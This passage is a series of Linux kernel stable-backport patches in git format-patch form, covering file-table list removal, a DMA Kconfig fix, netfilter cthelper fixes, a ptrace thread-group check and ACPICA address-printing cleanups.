struct files_stat_struct files_stat = { .max_files = NR_FILE }; -DEFINE_STATIC_LGLOCK(files_lglock); - /* SLAB cache for file structures */ static struct kmem_cache *filp_cachep __read_mostly; @@ -134,7 +132,6 @@ struct file *get_empty_filp(void) return ERR_PTR(error); } - INIT_LIST_HEAD(&f->f_u.fu_list); atomic_long_set(&f->f_count, 1); rwlock_init(&f->f_owner.lock); spin_lock_init(&f->f_lock); @@ -304,7 +301,6 @@ void fput(struct file *file) if (atomic_long_dec_and_test(&file->f_count)) { struct task_struct *task = current; - file_sb_list_del(file); if (likely(!in_interrupt() && !(task->flags & PF_KTHREAD))) { init_task_work(&file->f_u.fu_rcuhead, ____fput); if (!task_work_add(task, &file->f_u.fu_rcuhead, true)) @@ -328,7 +324,6 @@ void __fput_sync(struct file *file) { if (atomic_long_dec_and_test(&file->f_count)) { struct task_struct *task = current; - file_sb_list_del(file); BUG_ON(!(task->flags & PF_KTHREAD)); __fput(file); } @@ -340,127 +335,10 @@ void put_filp(struct file *file) { if (atomic_long_dec_and_test(&file->f_count)) { security_file_free(file); - file_sb_list_del(file); file_free(file); } } -static inline int file_list_cpu(struct file *file) -{ -#ifdef CONFIG_SMP - return file->f_sb_list_cpu; -#else - return smp_processor_id(); -#endif -} - -/* helper for file_sb_list_add to reduce ifdefs */ -static inline void __file_sb_list_add(struct file *file, struct super_block *sb) -{ - struct list_head *list; -#ifdef CONFIG_SMP - int cpu; - cpu = smp_processor_id(); - file->f_sb_list_cpu = cpu; - list = per_cpu_ptr(sb->s_files, cpu); -#else - list = &sb->s_files; -#endif - list_add(&file->f_u.fu_list, list); -} - -/** - * file_sb_list_add - add a file to the sb's file list - * @file: file to add - * @sb: sb to add it to - * - * Use this function to associate a file with the superblock of the inode it - * refers to. - */ -void file_sb_list_add(struct file *file, struct super_block *sb) -{ - lg_local_lock(&files_lglock); - __file_sb_list_add(file, sb); - lg_local_unlock(&files_lglock); -} - -/** - * file_sb_list_del - remove a file from the sb's file list - * @file: file to remove - * @sb: sb to remove it from - * - * Use this function to remove a file from its superblock. - */ -void file_sb_list_del(struct file *file) -{ - if (!list_empty(&file->f_u.fu_list)) { - lg_local_lock_cpu(&files_lglock, file_list_cpu(file)); - list_del_init(&file->f_u.fu_list); - lg_local_unlock_cpu(&files_lglock, file_list_cpu(file)); - } -} - -#ifdef CONFIG_SMP - -/* - * These macros iterate all files on all CPUs for a given superblock. - * files_lglock must be held globally. - */ -#define do_file_list_for_each_entry(__sb, __file) \ -{ \ - int i; \ - for_each_possible_cpu(i) { \ - struct list_head *list; \ - list = per_cpu_ptr((__sb)->s_files, i); \ - list_for_each_entry((__file), list, f_u.fu_list) - -#define while_file_list_for_each_entry \ - } \ -} - -#else - -#define do_file_list_for_each_entry(__sb, __file) \ -{ \ - struct list_head *list; \ - list = &(sb)->s_files; \ - list_for_each_entry((__file), list, f_u.fu_list) - -#define while_file_list_for_each_entry \ -} - -#endif - -/** - * mark_files_ro - mark all files read-only - * @sb: superblock in question - * - * All files are marked read-only. We don't care about pending - * delete files so this should be used in 'force' mode only. - */ -void mark_files_ro(struct super_block *sb) -{ - struct file *f; - - lg_global_lock(&files_lglock); - do_file_list_for_each_entry(sb, f) { - if (!S_ISREG(file_inode(f)->i_mode)) - continue; - if (!file_count(f)) - continue; - if (!(f->f_mode & FMODE_WRITE)) - continue; - spin_lock(&f->f_lock); - f->f_mode &= ~FMODE_WRITE; - spin_unlock(&f->f_lock); - if (file_check_writeable(f) != 0) - continue; - __mnt_drop_write(f->f_path.mnt); - file_release_write(f); - } while_file_list_for_each_entry; - lg_global_unlock(&files_lglock); -} - void __init files_init(unsigned long mempages) { unsigned long n; @@ -476,6 +354,5 @@ void __init files_init(unsigned long mempages) n = (mempages * (PAGE_SIZE / 1024)) / 10; files_stat.max_files = max_t(unsigned long, n, NR_FILE); files_defer_init(); - lg_lock_init(&files_lglock, "files_lglock"); percpu_counter_init(&nr_files, 0); } diff --git a/fs/internal.h b/fs/internal.h index 68121584ae37..2ffa65a36ca0 100644 --- a/fs/internal.h +++ b/fs/internal.h @@ -74,9 +74,6 @@ extern void chroot_fs_refs(const struct path *, const struct path *); /* * file_table.c */ -extern void file_sb_list_add(struct file *f, struct super_block *sb); -extern void file_sb_list_del(struct file *f); -extern void mark_files_ro(struct super_block *); extern struct file *get_empty_filp(void); /* diff --git a/fs/open.c b/fs/open.c index 86092bde31f4..5f129683b7d7 100644 --- a/fs/open.c +++ b/fs/open.c @@ -674,7 +674,6 @@ static int do_dentry_open(struct file *f, } f->f_mapping = inode->i_mapping; - file_sb_list_add(f, inode->i_sb); if (unlikely(f->f_mode & FMODE_PATH)) { f->f_op = &empty_fops; @@ -709,7 +708,6 @@ static int do_dentry_open(struct file *f, cleanup_all: fops_put(f->f_op); - file_sb_list_del(f); if (f->f_mode & FMODE_WRITE) { if (!special_file(inode->i_mode)) { /* diff --git a/fs/super.c b/fs/super.c index e028b508db25..97280e76179c 100644 --- a/fs/super.c +++ b/fs/super.c @@ -163,19 +163,6 @@ static struct super_block *alloc_super(struct file_system_type *type, int flags) s = NULL; goto out; } -#ifdef CONFIG_SMP - s->s_files = alloc_percpu(struct list_head); - if (!s->s_files) - goto err_out; - else { - int i; - - for_each_possible_cpu(i) - INIT_LIST_HEAD(per_cpu_ptr(s->s_files, i)); - } -#else - INIT_LIST_HEAD(&s->s_files); -#endif if (init_sb_writers(s, type)) goto err_out; s->s_flags = flags; @@ -225,10 +212,6 @@ out: return s; err_out: security_sb_free(s); -#ifdef CONFIG_SMP - if (s->s_files) - free_percpu(s->s_files); -#endif destroy_sb_writers(s); kfree(s); s = NULL; @@ -243,9 +226,6 @@ err_out: */ static inline void destroy_super(struct super_block *s) { -#ifdef CONFIG_SMP - free_percpu(s->s_files); -#endif destroy_sb_writers(s); security_sb_free(s); WARN_ON(!list_empty(&s->s_mounts)); @@ -727,7 +707,8 @@ int do_remount_sb(struct super_block *sb, int flags, void *data, int force) make sure there are no rw files opened */ if (remount_ro) { if (force) { - mark_files_ro(sb); + sb->s_readonly_remount = 1; + smp_wmb(); } else { retval = sb_prepare_remount_readonly(sb); if (retval) diff --git a/include/linux/fs.h b/include/linux/fs.h index f45857a7ac49..5c9dc8471da5 100644 --- a/include/linux/fs.h +++ b/include/linux/fs.h @@ -762,12 +762,7 @@ static inline int ra_has_index(struct file_ra_state *ra, pgoff_t index) #define FILE_MNT_WRITE_RELEASED 2 struct file { - /* - * fu_list becomes invalid after file_free is called and queued via - * fu_rcuhead for RCU freeing - */ union { - struct list_head fu_list; struct llist_node fu_llist; struct rcu_head fu_rcuhead; } f_u; @@ -781,9 +776,6 @@ struct file { * Must not be taken from IRQ context. */ spinlock_t f_lock; -#ifdef CONFIG_SMP - int f_sb_list_cpu; -#endif atomic_long_t f_count; unsigned int f_flags; fmode_t f_mode; @@ -1259,11 +1251,6 @@ struct super_block { struct list_head s_inodes; /* all inodes */ struct hlist_bl_head s_anon; /* anonymous dentries for (nfs) exporting */ -#ifdef CONFIG_SMP - struct list_head __percpu *s_files; -#else - struct list_head s_files; -#endif struct list_head s_mounts; /* list of mounts; _not_ for fs use */ /* s_dentry_lru, s_nr_dentry_unused protected by dcache.c lru locks */ struct list_head s_dentry_lru; /* unused dentry lru */ -- cgit v1.2.3 From ff19fc34c96fa1e6eef703eccaaf14f47cfd08ce Mon Sep 17 00:00:00 2001 From: Konrad Rzeszutek Wilk Date: Fri, 17 Apr 2015 15:04:48 -0400 Subject: config: Enable NEED_DMA_MAP_STATE by default when SWIOTLB is selected commit a6dfa128ce5c414ab46b1d690f7a1b8decb8526d upstream. A huge amount of NIC drivers use the DMA API, however if compiled under 32-bit an very important part of the DMA API can be ommitted leading to the drivers not working at all (especially if used with 'swiotlb=force iommu=soft'). As Prashant Sreedharan explains it: "the driver [tg3] uses DEFINE_DMA_UNMAP_ADDR(), dma_unmap_addr_set() to keep a copy of the dma "mapping" and dma_unmap_addr() to get the "mapping" value. On most of the platforms this is a no-op, but ... with "iommu=soft and swiotlb=force" this house keeping is required, ... otherwise we pass 0 while calling pci_unmap_/pci_dma_sync_ instead of the DMA address." As such enable this even when using 32-bit kernels. Reported-by: Ian Jackson Signed-off-by: Konrad Rzeszutek Wilk Acked-by: David S. Miller Acked-by: Prashant Sreedharan Cc: Borislav Petkov Cc: H. Peter Anvin Cc: Linus Torvalds Cc: Michael Chan Cc: Thomas Gleixner Cc: boris.ostrovsky@oracle.com Cc: cascardo@linux.vnet.ibm.com Cc: david.vrabel@citrix.com Cc: sanjeevb@broadcom.com Cc: siva.kallam@broadcom.com Cc: vyasevich@gmail.com Cc: xen-devel@lists.xensource.com Link: http://lkml.kernel.org/r/20150417190448.GA9462@l.oracle.com Signed-off-by: Ingo Molnar Cc: Ben Hutchings Signed-off-by: Greg Kroah-Hartman --- arch/x86/Kconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/arch/x86/Kconfig b/arch/x86/Kconfig index 4e5b80d883c8..105ae30a176b 100644 --- a/arch/x86/Kconfig +++ b/arch/x86/Kconfig @@ -154,7 +154,7 @@ config SBUS config NEED_DMA_MAP_STATE def_bool y - depends on X86_64 || INTEL_IOMMU || DMA_API_DEBUG + depends on X86_64 || INTEL_IOMMU || DMA_API_DEBUG || SWIOTLB config NEED_SG_DMA_LENGTH def_bool y -- cgit v1.2.3 From 59bc21951c78625486741b33eafdacbe57ce688d Mon Sep 17 00:00:00 2001 From: Chen Gang Date: Wed, 24 Dec 2014 23:04:54 +0800 Subject: netfilter: nfnetlink_cthelper: Remove 'const' and '&' to avoid warnings MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit commit b18c5d15e8714336365d9d51782d5b53afa0443c upstream. The related code can be simplified, and also can avoid related warnings (with allmodconfig under parisc): CC [M] net/netfilter/nfnetlink_cthelper.o net/netfilter/nfnetlink_cthelper.c: In function ‘nfnl_cthelper_from_nlattr’: net/netfilter/nfnetlink_cthelper.c:97:9: warning: passing argument 1 o ‘memcpy’ discards ‘const’ qualifier from pointer target type [-Wdiscarded-array-qualifiers] memcpy(&help->data, nla_data(attr), help->helper->data_len); ^ In file included from include/linux/string.h:17:0, from include/uapi/linux/uuid.h:25, from include/linux/uuid.h:23, from include/linux/mod_devicetable.h:12, from ./arch/parisc/include/asm/hardware.h:4, from ./arch/parisc/include/asm/processor.h:15, from ./arch/parisc/include/asm/spinlock.h:6, from ./arch/parisc/include/asm/atomic.h:21, from include/linux/atomic.h:4, from ./arch/parisc/include/asm/bitops.h:12, from include/linux/bitops.h:36, from include/linux/kernel.h:10, from include/linux/list.h:8, from include/linux/module.h:9, from net/netfilter/nfnetlink_cthelper.c:11: ./arch/parisc/include/asm/string.h:8:8: note: expected ‘void *’ but argument is of type ‘const char (*)[]’ void * memcpy(void * dest,const void *src,size_t count); ^ Signed-off-by: Chen Gang Signed-off-by: Pablo Neira Ayuso Signed-off-by: Greg Kroah-Hartman --- net/netfilter/nfnetlink_cthelper.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/net/netfilter/nfnetlink_cthelper.c b/net/netfilter/nfnetlink_cthelper.c index a191b6db657e..a9da433c8149 100644 --- a/net/netfilter/nfnetlink_cthelper.c +++ b/net/netfilter/nfnetlink_cthelper.c @@ -83,7 +83,7 @@ nfnl_cthelper_parse_tuple(struct nf_conntrack_tuple *tuple, static int nfnl_cthelper_from_nlattr(struct nlattr *attr, struct nf_conn *ct) { - const struct nf_conn_help *help = nfct_help(ct); + struct nf_conn_help *help = nfct_help(ct); if (attr == NULL) return -EINVAL; @@ -91,7 +91,7 @@ nfnl_cthelper_from_nlattr(struct nlattr *attr, struct nf_conn *ct) if (help->helper->data_len == 0) return -EINVAL; - memcpy(&help->data, nla_data(attr), help->helper->data_len); + memcpy(help->data, nla_data(attr), help->helper->data_len); return 0; } -- cgit v1.2.3 From 7c6300bb4934b8f9f881b1645c087b2ddba922f9 Mon Sep 17 00:00:00 2001 From: Ian Wilson Date: Thu, 12 Mar 2015 09:37:58 +0000 Subject: netfilter: Zero the tuple in nfnl_cthelper_parse_tuple() commit 78146572b9cd20452da47951812f35b1ad4906be upstream. nfnl_cthelper_parse_tuple() is called from nfnl_cthelper_new(), nfnl_cthelper_get() and nfnl_cthelper_del(). In each case they pass a pointer to an nf_conntrack_tuple data structure local variable: struct nf_conntrack_tuple tuple; ... ret = nfnl_cthelper_parse_tuple(&tuple, tb[NFCTH_TUPLE]); The problem is that this local variable is not initialized, and nfnl_cthelper_parse_tuple() only initializes two fields: src.l3num and dst.protonum. This leaves all other fields with undefined values based on whatever is on the stack: tuple->src.l3num = ntohs(nla_get_be16(tb[NFCTH_TUPLE_L3PROTONUM])); tuple->dst.protonum = nla_get_u8(tb[NFCTH_TUPLE_L4PROTONUM]); The symptom observed was that when the rpc and tns helpers were added then traffic to port 1536 was being sent to user-space. Signed-off-by: Ian Wilson Signed-off-by: Pablo Neira Ayuso Signed-off-by: Greg Kroah-Hartman --- net/netfilter/nfnetlink_cthelper.c | 3 +++ 1 file changed, 3 insertions(+) diff --git a/net/netfilter/nfnetlink_cthelper.c b/net/netfilter/nfnetlink_cthelper.c index a9da433c8149..3b283edec027 100644 --- a/net/netfilter/nfnetlink_cthelper.c +++ b/net/netfilter/nfnetlink_cthelper.c @@ -74,6 +74,9 @@ nfnl_cthelper_parse_tuple(struct nf_conntrack_tuple *tuple, if (!tb[NFCTH_TUPLE_L3PROTONUM] || !tb[NFCTH_TUPLE_L4PROTONUM]) return -EINVAL; + /* Not all fields are initialized so first zero the tuple */ + memset(tuple, 0, sizeof(struct nf_conntrack_tuple)); + tuple->src.l3num = ntohs(nla_get_be16(tb[NFCTH_TUPLE_L3PROTONUM])); tuple->dst.protonum = nla_get_u8(tb[NFCTH_TUPLE_L4PROTONUM]); -- cgit v1.2.3 From 434c32f798d372fbeff6258a1178dbeb41d960d4 Mon Sep 17 00:00:00 2001 From: Oleg Nesterov Date: Wed, 11 Sep 2013 14:20:06 -0700 Subject: include/linux/sched.h: don't use task->pid/tgid in same_thread_group/has_group_leader_pid commit e1403b8edf669ff49bbdf602cc97fefa2760cb15 upstream. task_struct->pid/tgid should go away. 1. Change same_thread_group() to use task->signal for comparison. 2. Change has_group_leader_pid(task) to compare task_pid(task) with signal->leader_pid. Signed-off-by: Oleg Nesterov Cc: Michal Hocko Cc: Sergey Dyasly Reviewed-by: "Eric W. Biederman" Cc: Thomas Gleixner Cc: Ingo Molnar Cc: Peter Zijlstra Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman --- include/linux/sched.h | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/include/linux/sched.h b/include/linux/sched.h index 00c1d4f45072..7cf305d036db 100644 --- a/include/linux/sched.h +++ b/include/linux/sched.h @@ -2203,15 +2203,15 @@ static inline bool thread_group_leader(struct task_struct *p) * all we care about is that we have a task with the appropriate * pid, we don't actually care if we have the right task. */ -static inline int has_group_leader_pid(struct task_struct *p) +static inline bool has_group_leader_pid(struct task_struct *p) { - return p->pid == p->tgid; + return task_pid(p) == p->signal->leader_pid; } static inline -int same_thread_group(struct task_struct *p1, struct task_struct *p2) +bool same_thread_group(struct task_struct *p1, struct task_struct *p2) { - return p1->tgid == p2->tgid; + return p1->signal == p2->signal; } static inline struct task_struct *next_thread(const struct task_struct *p) -- cgit v1.2.3 From a20cc70d1e37617c25c336ec036186d369946765 Mon Sep 17 00:00:00 2001 From: Mark Grondona Date: Wed, 11 Sep 2013 14:24:31 -0700 Subject: __ptrace_may_access() should not deny sub-threads commit 73af963f9f3036dffed55c3a2898598186db1045 upstream. __ptrace_may_access() checks get_dumpable/ptrace_has_cap/etc if task != current, this can can lead to surprising results. For example, a sub-thread can't readlink("/proc/self/exe") if the executable is not readable. setup_new_exec()->would_dump() notices that inode_permission(MAY_READ) fails and then it does set_dumpable(suid_dumpable). After that get_dumpable() fails. (It is not clear why proc_pid_readlink() checks get_dumpable(), perhaps we could add PTRACE_MODE_NODUMPABLE) Change __ptrace_may_access() to use same_thread_group() instead of "task == current". Any security check is pointless when the tasks share the same ->mm. Signed-off-by: Mark Grondona Signed-off-by: Ben Woodard Signed-off-by: Oleg Nesterov Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman --- kernel/ptrace.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/kernel/ptrace.c b/kernel/ptrace.c index 118323bc8529..30ab20623bca 100644 --- a/kernel/ptrace.c +++ b/kernel/ptrace.c @@ -236,7 +236,7 @@ static int __ptrace_may_access(struct task_struct *task, unsigned int mode) */ int dumpable = 0; /* Don't let security modules deny introspection */ - if (task == current) + if (same_thread_group(task, current)) return 0; rcu_read_lock(); tcred = __task_cred(task); -- cgit v1.2.3 From 4dce4607145619ed563859413db8374c270319f6 Mon Sep 17 00:00:00 2001 From: Lv Zheng Date: Mon, 13 Apr 2015 11:48:46 +0800 Subject: ACPICA: Utilities: Cleanup to convert physical address printing formats. commit cc2080b0e5a7c6c33ef5e9ffccbc2b8f6f861393 upstream. ACPICA commit 7f06739db43a85083a70371c14141008f20b2198 For physical addresses, since the address may exceed 32-bit address range after calculation, we should use %8.8X%8.8X (see ACPI_FORMAT_UINT64()) to convert the %p formats. This is a preparation to switch acpi_physical_address to 64-bit on 32-bit kernel builds. Link: https://github.com/acpica/acpica/commit/7f06739d Signed-off-by: Lv Zheng Signed-off-by: Bob Moore Signed-off-by: Rafael J. Wysocki Signed-off-by: Dirk Behme [gdavis: Move tbinstall.c changes to tbutils.c due to lack of commit "42f4786 ACPICA: Split table print utilities to a new a separate file" in linux-3.10.y] Signed-off-by: George G. Davis Signed-off-by: Greg Kroah-Hartman --- drivers/acpi/acpica/exfldio.c | 10 ++++------ drivers/acpi/acpica/hwvalid.c | 16 ++++++++-------- drivers/acpi/acpica/nsdump.c | 7 +++---- drivers/acpi/acpica/tbutils.c | 4 ++-- drivers/acpi/acpica/utaddress.c | 24 +++++++++++------------- 5 files changed, 28 insertions(+), 33 deletions(-) diff --git a/drivers/acpi/acpica/exfldio.c b/drivers/acpi/acpica/exfldio.c index c84ee956fa4c..dc210c379277 100644 --- a/drivers/acpi/acpica/exfldio.c +++ b/drivers/acpi/acpica/exfldio.c @@ -269,17 +269,15 @@ acpi_ex_access_region(union acpi_operand_object *obj_desc, } ACPI_DEBUG_PRINT_RAW((ACPI_DB_BFIELD, - " Region [%s:%X], Width %X, ByteBase %X, Offset %X at %p\n", + " Region [%s:%X], Width %X, ByteBase %X, Offset %X at %8.8X%8.8X\n", acpi_ut_get_region_name(rgn_desc->region. space_id), rgn_desc->region.space_id, obj_desc->common_field.access_byte_width, obj_desc->common_field.base_byte_offset, - field_datum_byte_offset, ACPI_CAST_PTR(void, - (rgn_desc-> - region. - address + - region_offset)))); + field_datum_byte_offset, + ACPI_FORMAT_UINT64(rgn_desc->region.address + + region_offset))); /* Invoke the appropriate address_space/op_region handler */ diff --git a/drivers/acpi/acpica/hwvalid.c b/drivers/acpi/acpica/hwvalid.c index eab70d58852a..fae57584a182 100644 --- a/drivers/acpi/acpica/hwvalid.c +++ b/drivers/acpi/acpica/hwvalid.c @@ -142,17 +142,17 @@ acpi_hw_validate_io_request(acpi_io_address address, u32 bit_width) byte_width = ACPI_DIV_8(bit_width); last_address = address + byte_width - 1; - ACPI_DEBUG_PRINT((ACPI_DB_IO, "Address %p LastAddress %p Length %X", - ACPI_CAST_PTR(void, address), ACPI_CAST_PTR(void, - last_address), - byte_width)); + ACPI_DEBUG_PRINT((ACPI_DB_IO, + "Address %8.8X%8.8X LastAddress %8.8X%8.8X Length %X", + ACPI_FORMAT_UINT64(address), + ACPI_FORMAT_UINT64(last_address), byte_width)); /* Maximum 16-bit address in I/O space */ if (last_address > ACPI_UINT16_MAX) { ACPI_ERROR((AE_INFO, - "Illegal I/O port address/length above 64K: %p/0x%X", - ACPI_CAST_PTR(void, address), byte_width)); + "Illegal I/O port address/length above 64K: %8.8X%8.8X/0x%X", + ACPI_FORMAT_UINT64(address), byte_width)); return_ACPI_STATUS(AE_LIMIT); } @@ -181,8 +181,8 @@ acpi_hw_validate_io_request(acpi_io_address address, u32 bit_width) if (acpi_gbl_osi_data >= port_info->osi_dependency) { ACPI_DEBUG_PRINT((ACPI_DB_IO, - "Denied AML access to port 0x%p/%X (%s 0x%.4X-0x%.4X)", - ACPI_CAST_PTR(void, address), + "Denied AML access to port 0x%8.8X%8.8X/%X (%s 0x%.4X-0x%.4X)", + ACPI_FORMAT_UINT64(address), byte_width, port_info->name, port_info->start, port_info->end)); diff --git a/drivers/acpi/acpica/nsdump.c b/drivers/acpi/acpica/nsdump.c index ce6e97326205..d6651e701a71 100644 --- a/drivers/acpi/acpica/nsdump.c +++ b/drivers/acpi/acpica/nsdump.c @@ -258,12 +258,11 @@ acpi_ns_dump_one_object(acpi_handle obj_handle, switch (type) { case ACPI_TYPE_PROCESSOR: - acpi_os_printf("ID %02X Len %02X Addr %p\n", + acpi_os_printf("ID %02X Len %02X Addr %8.8X%8.8X\n", obj_desc->processor.proc_id, obj_desc->processor.length, - ACPI_CAST_PTR(void, - obj_desc->processor. - address)); + ACPI_FORMAT_UINT64(obj_desc->processor. + address)); break; case ACPI_TYPE_DEVICE: diff --git a/drivers/acpi/acpica/tbutils.c b/drivers/acpi/acpica/tbutils.c index ce3d5db39a9c..45c4474c35b6 100644 --- a/drivers/acpi/acpica/tbutils.c +++ b/drivers/acpi/acpica/tbutils.c @@ -474,8 +474,8 @@ acpi_tb_install_table(acpi_physical_address address, table = acpi_os_map_memory(address, sizeof(struct acpi_table_header)); if (!table) { ACPI_ERROR((AE_INFO, - "Could not map memory for table [%s] at %p", - signature, ACPI_CAST_PTR(void, address))); + "Could not map memory for table [%s] at %8.8X%8.8X", + signature, ACPI_FORMAT_UINT64(address))); return; } diff --git a/drivers/acpi/acpica/utaddress.c b/drivers/acpi/acpica/utaddress.c index e0a2e2779c2e..3c7770d75773 100644 --- a/drivers/acpi/acpica/utaddress.c +++ b/drivers/acpi/acpica/utaddress.c @@ -107,10 +107,10 @@ acpi_ut_add_address_range(acpi_adr_space_type space_id, acpi_gbl_address_range_list[space_id] = range_info; ACPI_DEBUG_PRINT((ACPI_DB_NAMES, - "\nAdded [%4.4s] address range: 0x%p-0x%p\n", + "\nAdded [%4.4s] address range: 0x%8.8X%8.8X-0x%8.8X%8.8X\n", acpi_ut_get_node_name(range_info->region_node), - ACPI_CAST_PTR(void, address), - ACPI_CAST_PTR(void, range_info->end_address))); + ACPI_FORMAT_UINT64(address), + ACPI_FORMAT_UINT64(range_info->end_address))); (void)acpi_ut_release_mutex(ACPI_MTX_NAMESPACE); return_ACPI_STATUS(AE_OK); @@ -160,15 +160,13 @@ acpi_ut_remove_address_range(acpi_adr_space_type space_id, } ACPI_DEBUG_PRINT((ACPI_DB_NAMES, - "\nRemoved [%4.4s] address range: 0x%p-0x%p\n", + "\nRemoved [%4.4s] address range: 0x%8.8X%8.8X-0x%8.8X%8.8X\n", acpi_ut_get_node_name(range_info-> region_node), - ACPI_CAST_PTR(void, - range_info-> - start_address), - ACPI_CAST_PTR(void, - range_info-> - end_address))); + ACPI_FORMAT_UINT64(range_info-> + start_address), + ACPI_FORMAT_UINT64(range_info-> + end_address))); ACPI_FREE(range_info); return_VOID; @@ -244,9 +242,9 @@ acpi_ut_check_address_range(acpi_adr_space_type space_id, region_node); ACPI_WARNING((AE_INFO, - "0x%p-0x%p %s conflicts with Region %s %d", - ACPI_CAST_PTR(void, address), - ACPI_CAST_PTR(void, end_address), + "0x%8.8X%8.8X-0x%8.8X%8.8X %s conflicts with Region %s %d", + ACPI_FORMAT_UINT64(address), + ACPI_FORMAT_UINT64(end_address), acpi_ut_get_region_name(space_id), pathname, overlap_count)); ACPI_FREE(pathname); -- cgit v1.2.3 From a2dac7a1d62f940989d3695d44d04afef4d291f6 Mon Sep 17 00:00:00 2001 From: Lv Zheng Date: Mon, 13 Apr 2015 11:48:52 +0800 Subject: ACPICA: Utilities: Cleanup to remove useless ACPI_PRINTF/FORMAT_xxx helpers. commit 1d0a0b2f6df2bf2643fadc990eb143361eca6ada upstream. ACPICA commit b60612373a4ef63b64a57c124576d7ddb6d8efb6 For physical addresses, since the address may exceed 32-bit address range after calculation, we should use 0x%8.8X%8.8X instead of ACPI_PRINTF_UINT and ACPI_FORMAT_UINT64() instead of ACPI_FORMAT_NATIVE_UINT()/ACPI_FORMAT_TO_UINT(). This patch also removes above replaced macros as there are no users. This is a preparation to switch acpi_physical_address to 64-bit on 32-bit kernel builds. Link: https://github.com/acpica/acpica/commit/b6061237 Signed-off-by: Lv Zheng Signed-off-by: Bob Moore Signed-off-by: Rafael J. Wysocki Signed-off-by: Dirk Behme [gdavis: Move tbprint.c changes to tbutils.c due to lack of commit "42f4786 ACPICA: Split table print utilities to a new a separate file" in linux-3.10.y] Signed-off-by: George G. Davis Signed-off-by: Greg Kroah-Hartman --- drivers/acpi/acpica/acmacros.h | 10 +++------- drivers/acpi/acpica/dsopcode.c | 4 ++-- drivers/acpi/acpica/evregion.c | 2 +- drivers/acpi/acpica/exdump.c | 4 ++-- drivers/acpi/acpica/exregion.c | 8 +++----- drivers/acpi/acpica/nsdump.c | 5 +++-- drivers/acpi/acpica/tbutils.c | 16 ++++++---------- 7 files changed, 20 insertions(+), 29 deletions(-) diff --git a/drivers/acpi/acpica/acmacros.h b/drivers/acpi/acpica/acmacros.h index 53666bd9193d..32b0bf32364a 100644 --- a/drivers/acpi/acpica/acmacros.h +++ b/drivers/acpi/acpica/acmacros.h @@ -63,19 +63,15 @@ #define ACPI_SET64(ptr, val) (*ACPI_CAST64 (ptr) = (u64) (val)) /* - * printf() format helpers + * printf() format helper. This macros is a workaround for the difficulties + * with emitting 64-bit integers and 64-bit pointers with the same code + * for both 32-bit and 64-bit hosts. */ /* Split 64-bit integer into two 32-bit values. Use with %8.8X%8.8X */ #define ACPI_FORMAT_UINT64(i) ACPI_HIDWORD(i), ACPI_LODWORD(i) -#if ACPI_MACHINE_WIDTH == 64 -#define ACPI_FORMAT_NATIVE_UINT(i) ACPI_FORMAT_UINT64(i) -#else -#define ACPI_FORMAT_NATIVE_UINT(i) 0, (i) -#endif - /* * Macros for moving data around to/from buffers that are possibly unaligned. * If the hardware supports the transfer of unaligned data, just do the store. diff --git a/drivers/acpi/acpica/dsopcode.c b/drivers/acpi/acpica/dsopcode.c index e9b13b92ba1e..46a37aeaedae 100644 --- a/drivers/acpi/acpica/dsopcode.c +++ b/drivers/acpi/acpica/dsopcode.c @@ -446,7 +446,7 @@ acpi_ds_eval_region_operands(struct acpi_walk_state *walk_state, ACPI_DEBUG_PRINT((ACPI_DB_EXEC, "RgnObj %p Addr %8.8X%8.8X Len %X\n", obj_desc, - ACPI_FORMAT_NATIVE_UINT(obj_desc->region.address), + ACPI_FORMAT_UINT64(obj_desc->region.address), obj_desc->region.length)); /* Now the address and length are valid for this opregion */ @@ -544,7 +544,7 @@ acpi_ds_eval_table_region_operands(struct acpi_walk_state *walk_state, ACPI_DEBUG_PRINT((ACPI_DB_EXEC, "RgnObj %p Addr %8.8X%8.8X Len %X\n", obj_desc, - ACPI_FORMAT_NATIVE_UINT(obj_desc->region.address), + ACPI_FORMAT_UINT64(obj_desc->region.address), obj_desc->region.length)); /* Now the address and length are valid for this opregion */ diff --git a/drivers/acpi/acpica/evregion.c b/drivers/acpi/acpica/evregion.c index 8fab9262d98a..ad698893e829 100644 --- a/drivers/acpi/acpica/evregion.c +++ b/drivers/acpi/acpica/evregion.c @@ -276,7 +276,7 @@ acpi_ev_address_space_dispatch(union acpi_operand_object *region_obj, ACPI_DEBUG_PRINT((ACPI_DB_OPREGION, "Handler %p (@%p) Address %8.8X%8.8X [%s]\n", ®ion_obj->region.handler->address_space, handler, - ACPI_FORMAT_NATIVE_UINT(address), + ACPI_FORMAT_UINT64(address), acpi_ut_get_region_name(region_obj->region. space_id))); diff --git a/drivers/acpi/acpica/exdump.c b/drivers/acpi/acpica/exdump.c index e5a3c249f7fa..7e6a56fe1d6e 100644 --- a/drivers/acpi/acpica/exdump.c +++ b/drivers/acpi/acpica/exdump.c @@ -621,8 +621,8 @@ void acpi_ex_dump_operand(union acpi_operand_object *obj_desc, u32 depth) acpi_os_printf("\n"); } else { acpi_os_printf(" base %8.8X%8.8X Length %X\n", - ACPI_FORMAT_NATIVE_UINT(obj_desc->region. - address), + ACPI_FORMAT_UINT64(obj_desc->region. + address), obj_desc->region.length); } break; diff --git a/drivers/acpi/acpica/exregion.c b/drivers/acpi/acpica/exregion.c index 182abaf045e1..e90c59d35a16 100644 --- a/drivers/acpi/acpica/exregion.c +++ b/drivers/acpi/acpica/exregion.c @@ -176,7 +176,7 @@ acpi_ex_system_memory_space_handler(u32 function, if (!mem_info->mapped_logical_address) { ACPI_ERROR((AE_INFO, "Could not map memory at 0x%8.8X%8.8X, size %u", - ACPI_FORMAT_NATIVE_UINT(address), + ACPI_FORMAT_UINT64(address), (u32) map_length)); mem_info->mapped_length = 0; return_ACPI_STATUS(AE_NO_MEMORY); @@ -197,8 +197,7 @@ acpi_ex_system_memory_space_handler(u32 function, ACPI_DEBUG_PRINT((ACPI_DB_INFO, "System-Memory (width %u) R/W %u Address=%8.8X%8.8X\n", - bit_width, function, - ACPI_FORMAT_NATIVE_UINT(address))); + bit_width, function, ACPI_FORMAT_UINT64(address))); /* * Perform the memory read or write @@ -300,8 +299,7 @@ acpi_ex_system_io_space_handler(u32 function, ACPI_DEBUG_PRINT((ACPI_DB_INFO, "System-IO (width 